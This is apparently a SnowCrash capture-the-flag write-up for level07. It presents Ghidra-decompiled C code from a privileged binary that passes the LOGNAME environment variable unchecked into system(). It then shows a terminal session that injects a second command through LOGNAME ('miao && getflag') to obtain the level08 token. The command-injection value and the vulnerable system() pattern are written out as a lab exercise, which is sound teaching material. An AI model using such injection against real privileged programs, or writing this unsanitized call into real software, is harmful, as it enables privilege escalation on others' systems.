


# ./level07

Upon accessing the level07 user's home directory, our attention was immediately drawn to an executable. To glean insights into its inner workings, we opted again for *Ghidra*.



```
int main(int argc, char **argv, char **envp)
{
    char *logname;
    int sysRes;
    char *cmd;
    __gid_t egid;
    __uid_t euid;


    egid = getegid();
    euid = geteuid();
    setresgid(egid, egid, egid);
    setresuid(euid, euid, euid);

    cmd = NULL;
    logname = getenv("LOGNAME");
    asprintf(&cmd, "/bin/echo %s ", logname);

    sysRes = system(cmd);
    return sysRes;
}
```

Upon scrutinizing the decompiled code, it became evident that the program retrieves the value of the *LOGNAME* environment variable, and then appends it to the */bin/echo* command. The concatenated command is then executed using the *system* function.

The vulnerability lies in the unchecked usage of the *LOGNAME* variable content within the system call. We crafted an environment variable *LOGNAME* containing a compound command. Our objective was to invoke the *getflag* command subsequent to an echo of a harmless string



```
level07@SnowCrash:~$ export LOGNAME="miao && getflag"

level07@SnowCrash:~$ ./level07
miao
Check flag.Here is your token : fumuikeil55xe9cu4dood66h

level07@SnowCrash:~$ su level08
Password: fumuikeil55xe9cu4dood66h

level08@SnowCrash:~$
```